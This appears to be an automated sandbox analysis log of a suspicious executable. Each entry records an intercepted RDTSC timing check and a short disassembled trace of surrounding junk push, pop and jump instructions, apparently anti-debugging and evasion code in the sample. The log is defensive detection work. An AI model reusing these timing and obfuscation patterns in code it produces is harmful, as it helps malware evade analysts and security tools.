Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6254 second address: 7E628C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F38ECB57BA1h 0x0000000d jmp 00007F38ECB57BA8h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E63BE second address: 7E63DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38EC75ED23h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E63DA second address: 7E63E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38ECB57B9Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6556 second address: 7E6562 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6562 second address: 7E6566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6566 second address: 7E656C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E656C second address: 7E6572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E686C second address: 7E6891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F38EC75ED1Eh 0x0000000b pushad 0x0000000c jc 00007F38EC75ED18h 0x00000012 push edx 0x00000013 pop edx 0x00000014 js 00007F38EC75ED1Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6B7E second address: 7E6B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F38ECB57B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6B88 second address: 7E6B8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6D07 second address: 7E6D12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F38ECB57B96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E741A second address: 7E7431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F38EC75ED1Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7431 second address: 7E7435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7BDC second address: 7E7BE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7BE2 second address: 7E7BEC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F38ECB57B96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5933 second address: 7E5937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5937 second address: 7E5941 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F38ECB57B96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5941 second address: 7E595C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F38EC75ED21h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E595C second address: 7E5960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5960 second address: 7E5964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECB2A second address: 7ECB3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 je 00007F38ECB57B9Ch 0x0000000d jbe 00007F38ECB57B96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECB3D second address: 7ECB52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F38EC75ED16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFE66 second address: 7EFE84 instructions: 0x00000000 rdtsc 0x00000002 je 00007F38ECB57B96h 0x00000008 jmp 00007F38ECB57B9Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F38ECB57B96h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFE84 second address: 7EFE92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F38EC75ED1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFE92 second address: 7EFE9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFE9A second address: 7EFEAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F38EC75ED18h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFEAB second address: 7EFEB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F38ECB57B96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFEB6 second address: 7EFEBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFA28 second address: 7EFA32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFA32 second address: 7EFA47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jp 00007F38EC75ED45h 0x0000000d js 00007F38EC75ED1Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735BA1 second address: 735BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007F38ECB57BB3h 0x0000000d jmp 00007F38ECB57BA7h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735BC7 second address: 735BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735BD5 second address: 735BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735BD9 second address: 735BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFDB3 second address: 7FFDB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFF18 second address: 7FFF1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8035B6 second address: 8035C1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnc 00007F38ECB57B96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8077A3 second address: 8077A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813F0C second address: 813F27 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F38ECB57B9Eh 0x00000008 pop esi 0x00000009 pushad 0x0000000a jnl 00007F38ECB57B96h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813F27 second address: 813F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a ja 00007F38EC75ED16h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813F39 second address: 813F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813F41 second address: 813F46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B2E6 second address: 81B2EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B5A9 second address: 81B5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B5AF second address: 81B5B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B5B5 second address: 81B5BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B739 second address: 81B73D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B73D second address: 81B752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38EC75ED1Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B8E5 second address: 81B902 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F38ECB57BA7h 0x00000008 jmp 00007F38ECB57BA1h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B902 second address: 81B906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81BBB6 second address: 81BBCD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jl 00007F38ECB57B96h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F38ECB57BDCh 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81BBCD second address: 81BBE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38EC75ED20h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C776 second address: 81C77A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C77A second address: 81C780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830210 second address: 830229 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830229 second address: 83022D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83022D second address: 83023B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83023B second address: 83023F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83008A second address: 830090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830090 second address: 830094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830094 second address: 8300DA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F38ECB57B96h 0x00000008 jno 00007F38ECB57B96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jc 00007F38ECB57B96h 0x00000017 push eax 0x00000018 pop eax 0x00000019 jns 00007F38ECB57B96h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jmp 00007F38ECB57BA5h 0x00000028 push eax 0x00000029 pop eax 0x0000002a jno 00007F38ECB57B96h 0x00000030 popad 0x00000031 pushad 0x00000032 pushad 0x00000033 popad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8300DA second address: 8300E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8300E1 second address: 8300FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F38ECB57B96h 0x00000009 jl 00007F38ECB57B96h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 pushad 0x00000013 jne 00007F38ECB57B96h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C8D1 second address: 83C8FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F38EC75ED28h 0x0000000a ja 00007F38EC75ED16h 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 jc 00007F38EC75ED1Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C8FF second address: 83C926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F38ECB57B98h 0x0000000e jns 00007F38ECB57BA7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C926 second address: 83C946 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F38EC75ED20h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F38EC75ED16h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C946 second address: 83C94A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E528 second address: 83E533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E533 second address: 83E54A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E54A second address: 83E555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853583 second address: 85358E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85358E second address: 853592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8539A9 second address: 8539B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F38ECB57B96h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8539B5 second address: 8539B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8539B9 second address: 853A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38ECB57BA1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F38ECB57BAFh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F38ECB57B9Fh 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 jmp 00007F38ECB57B9Fh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853A19 second address: 853A1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853A1F second address: 853A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853A25 second address: 853A2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853A2D second address: 853A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853A31 second address: 853A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853A37 second address: 853A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853A41 second address: 853A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853EAA second address: 853EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855782 second address: 855786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855786 second address: 855794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F38ECB57B96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8583F1 second address: 8583F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8583F6 second address: 8583FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8583FB second address: 858446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F38EC75ED18h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 clc 0x00000023 mov dword ptr [ebp+122D3214h], eax 0x00000029 push 00000004h 0x0000002b mov dword ptr [ebp+12474C61h], ebx 0x00000031 call 00007F38EC75ED19h 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858446 second address: 85844A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85844A second address: 85845E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85845E second address: 858492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edi 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F38ECB57B9Ch 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d jg 00007F38ECB57B9Ch 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 pop eax 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858492 second address: 8584BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jnp 00007F38EC75ED1Eh 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8586C5 second address: 8586EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a movzx edx, ax 0x0000000d push dword ptr [ebp+122D1A2Eh] 0x00000013 adc dl, 00000072h 0x00000016 push 66DBDC5Ah 0x0000001b push eax 0x0000001c push edx 0x0000001d jg 00007F38ECB57B9Ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8586EE second address: 8586F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A00C second address: 85A012 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A012 second address: 85A016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859B90 second address: 859B9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F38ECB57B96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859B9B second address: 859BA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
